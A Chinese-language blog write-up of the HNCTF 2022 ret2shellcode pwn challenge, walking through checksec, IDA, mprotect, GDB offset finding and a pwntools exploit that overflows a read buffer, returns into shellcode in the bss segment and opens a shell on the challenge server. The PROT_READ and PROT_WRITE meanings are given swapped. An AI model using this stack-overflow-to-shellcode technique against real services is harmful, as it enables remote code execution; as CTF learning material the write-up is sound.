【PWN刷题__ret2shellcode】[HNCTF 2022 Week1]ret2shellcode

news/2024/5/19 22:54:45 标签: PWN, ret2shellcode, CTF, 二进制, 计算机安全

本蒟蒻的ret2shellcode的开篇之作!

第一次实战ret2shellcode,该类型的简单题但是也研究了很久!

目录

前言

一、checksec查看二进制文件​

二、查找后门函数 

三、IDA反汇编 

bss段

mprotect()函数

四、GDB调试

GDB基本的一些用法

偏移量计算

五、exp 

shellcode获取 

context

总结


前言

ret2shellcode——顾名思义,控制执行流到shellcode

在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?

依此,主要的过程如下:

(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限

(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码 


写在前面

在按部就班地进行尝试过程中,总结了一些知识和方法,其中有一些因为个人的萌新蒟蒻水平,是未知错误,尚不能解决,但是复现给大家,也许大家比较清楚个中问题。

下面将复现我的实现过程

一、checksec查看二进制文件


二、查找后门函数 

按照我们的思路(虽然题目很明显在提示,但是这步在逻辑上是不可或缺的),看看有没有后门函数供我们ret2text

objdump -t XXX               查看程序中使用到的函数
objdump -d XXX               查看程序中函数的汇编代码
objdump -d -M intel XXX      查看程序中函数的汇编代码,并且汇编代码是intel架构的
objdump -d -j .plt XXX       查看plt表
           -j的参数有:.text  代码段
                      .const 只读数据段(有些编译器不使用此段,将只读数据并入.data段)
                      .data  读写数据段
                      .bss   bss段

下面还有好多没有截屏出来,but没有我们期待的后门函数——那么ret2text应该就是不行的,尝试如题目的,ret2shellcode 


三、IDA反汇编 

F5大法

 一眼read危险函数,存在栈溢出,非常好。然后将s复制到buff里,buff在哪里呢?bss段

 bss段

在采用段式内存管理的架构中(比如 intel 的 80x86 系统),bss 段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时 bss 段部分将会清零(bss 段属于静态内存分配,即程序一开始就将其清零了)。比如,在 C 语言程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。

简单来说,定义而没有赋初值的全局变量和静态变量 , 放在这个区域

程序主要溢出部分我们理清了,可是回顾之前的checksec,这个二进制文件是NX enabled的,不可执行保护啊!怎么办??——话说第8行代码mprotect(...)是什么意思? 

mprotect()函数

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性
函数原型如下:

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行

4)PROT_NONE:表示内存段中的内容根本没法访问。

——详情点这里

也就是说,部分地址在经过这一句代码后,保护属性变成了可执行! 因此可以用ret2shellcode


四、GDB调试

原本其实对GDB并不熟悉,想着也借着这个机会好好学习一下基本用法。为这么突然要用GDB调试呢?主要是对bss段以及什么地方返回不清楚——好像偏移量可以通过报错来显示

GDB基本的一些用法

说一下本次用到的GDB的一些基本用法

next/n          单步调试
next/n [num]    单步跳过num步
b main          在main函数处设置断点
vmmap           查看各段属性/rxw
run/r           运行程序

我们先来尝试调试一下,顺便看看是否段保护属性值真的发生了变化

在main函数处下断点 

r(run)开始运行

vmmap查看各段保护

buff所在的段

 为 rw-p  可读写不可执行

n 30  单步调试30次后 

此时已经执行过mprotect函数,我们再vmmap查看一下保护情况

gdb贴心的标红了,此时已经有可执行权限,因此我们ret2shellcode也是可行的。

偏移量计算

插件——pwngdb 和 peda,我用的是peda

那么怎么通过报错来显示偏移量呢?

  • pwndbg
  1. cyclic 200 
  2. cyclic -l 异常地址
  • peda
  1. pattern create 200
  2. pattern offset 异常地址

输入过量的数据覆盖EIP,然后在dbg调试中的异常地址,即可找到偏移量,这篇博客说明了用法。 

然而,我却遇到了问题

pattern create构造400个字符,然后复制粘贴给read(运行到了read函数处会等待输入,此时复制粘贴到n下一行(卡住了等待输入),注意不要单引号) 

异常地址0x40125c 

pattern offset 0x40125c企图得到偏移量

哦吼,失败了~~不知道有没有大佬说一下why 

——后来通过别人的wp,好像偏移量就是

buff 256个字节    +    8个字节64位程序的ebp(?)   +   ret 

【不太明白】 

不管辽,开始exp编写


五、exp 

shellcode获取 

获取Shellcode的两种方法:

  • 手写(初学时推荐手写):想办法调用execve("/bin/sh",null,null)

传入字符串:/bin///sh  (why /// 三个不晓得,求助)
系统调用execve

  • pwntools自动生成(比赛时使用这种方法)

先指定context.arch="i386/amd64"  (context稍后细🔒)
asm(自定义shellcode)
asm(shellcraft.sh())

自动生成shellcode

from pwn import *

r = remote(" ",port)  #远程连接,“”网址,port填端口号

buff_addr=0x4040a0

shellcode = asm(shellcraft.sh())

bias=0x100+0x8        # 256+8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

r.sendline(payload)

r.interactive()

但是连接时似乎出了问题。。。

不回显!!淦,直接退出。。。

context

context 是 pwntools 用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。

一般来说我们设置context只需要简单的一句话:

context(os='linux', arch='amd64', log_level='debug')

或者 context(os='linux', arch='amd64')

———点这里

1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。
————————————————

不知道是不是没有设置context的缘故,but试一试呗~

from pwn import *

context.os='Linux'
context.arch='amd64'
context.log_level='debug'

r = remote(" ",port)  #远程连接,“”网址,port填端口号

buff_addr=0x4040a0

shellcode = asm(shellcraft.sh())

bias=0x100+0x8        # 256+8

payload = shellcode.ljust(bias,b'a')+p64(buff_addr)

r.sendline(payload)

r.interactive()

 运行一下~

哦吼,flag出来了 !!应该就是要配置一下context的缘故吧!养成这个习惯!


总结

虽然这是一题“非常简单“的ret2shellcode,但是对于本萌新来说,第一次做ret2shellcode,有必要认真的总结一下做题规律。

在这些尝试中,确实学到了好多好多东西,与诸君共勉! 


http://www.niftyadmin.cn/n/260512.html

相关文章

华东师范大学副校长周傲英:未来,中国需要什么样的数据库?

本文为华东师范大学副校长&#xff0c;CCF 会士周傲英教授在第一届 OceanBase 开发者大会带来的分享。欢迎访问 OceanBase 官网获取更多信息&#xff1a;https://www.oceanbase.com/ 3 月 25 日&#xff0c;第一届 OceanBase 开发者大会在北京举行&#xff0c;华东师范大学副校…

MySql问题纠错

MySql问题纠错 查看cpu占用 $ top -o %CPU # 进程是mysqld 也就是mysql daemon mysql的守护进程 2. 查看Mysql的线程情况 $ top -Hp pid # 查询结果为一系列的线程ID # 基本都是mysqld,守护线程,可以观察发现,守护进程基本不占用cpu # 守护线程的ID都是连续的,如果突然出现几…

electron+vue3全家桶+vite项目搭建【13】封装加载进度显示,新建窗口 演示主进程与渲染进程通信

文章目录 引入实现效果演示&#xff1a;1.封装新建窗口工具2.测试新建窗口3.封装进度条加载4.测试进度条加载 引入 这里我们通过封装electron的工具类来演示electron中的主进程和渲染进程利用ipc进行通信 demo项目地址 electron官方文档ipc通信 实现效果演示&#xff1a; …

ClickHouse初级

ClickHouse初级 一、ClickHouse的特点1.列式存储2.DBMS的功能3.多样化引擎4.高吞吐写入能力 LSM Tree5.数据分区与线程级并行6.性能对比 二、ClickHouse安装三、数据类型3.1整型3.2浮点型3.3 布尔型3.4 Decimal型3.5 字符串3.6 枚举类型3.7 时间类型3.8 数组 四、表引擎4.1 表引…

【精品】Springboot中重定向时传递参数

相关博客&#xff1a;https://blog.csdn.net/lianghecai52171314/article/details/102576175 原理 重定向时使用RedirectAttributes传递参数 redirectAttributes.addAttributie(“key”, value); 该方法相当于在重定向链接地址追加传递的参数&#xff0c;比如&#xff1a;ret…

VUE基础知识——配置/属性及插件

目录 ref属性 使用方式 定义 获取 props配置 传递数据 接收数据 1&#xff09;只进行接收 2&#xff09;限制数据类型 3&#xff09;指定默认值、限制类型、必要性的校验 mixin(混入&#xff09; 使用方法 插件 定义 如何使用 scoped样式配置 ref属性 用来实现…

财报解读:涅槃重生之后,新东方还想再造一个“文旅甄选”?

新东方逐渐走出了“微笑曲线”。 图源&#xff1a;新东方2023财年Q3财报 2023年4月19日&#xff0c;新东方披露了2023财年Q3财报&#xff08;截至2023年2月28日止&#xff09;&#xff0c;营收7.5亿美元&#xff0c;同比增长22.8%&#xff1b;归母净利润为8165万美元&#xff…

Map Reduce高级篇:Join-Reduce

Join关联操作 背景 在实际的数据库应用中&#xff0c;我们经常需要从多个数据表中读取数据&#xff0c;这时就可以使用SQL语句中的连接&#xff08;JOIN&#xff09;&#xff0c;在两个或者多个数据表中查询数据。在使用MapReduce框架进行数据查询的过程中&#xff0c;也会涉…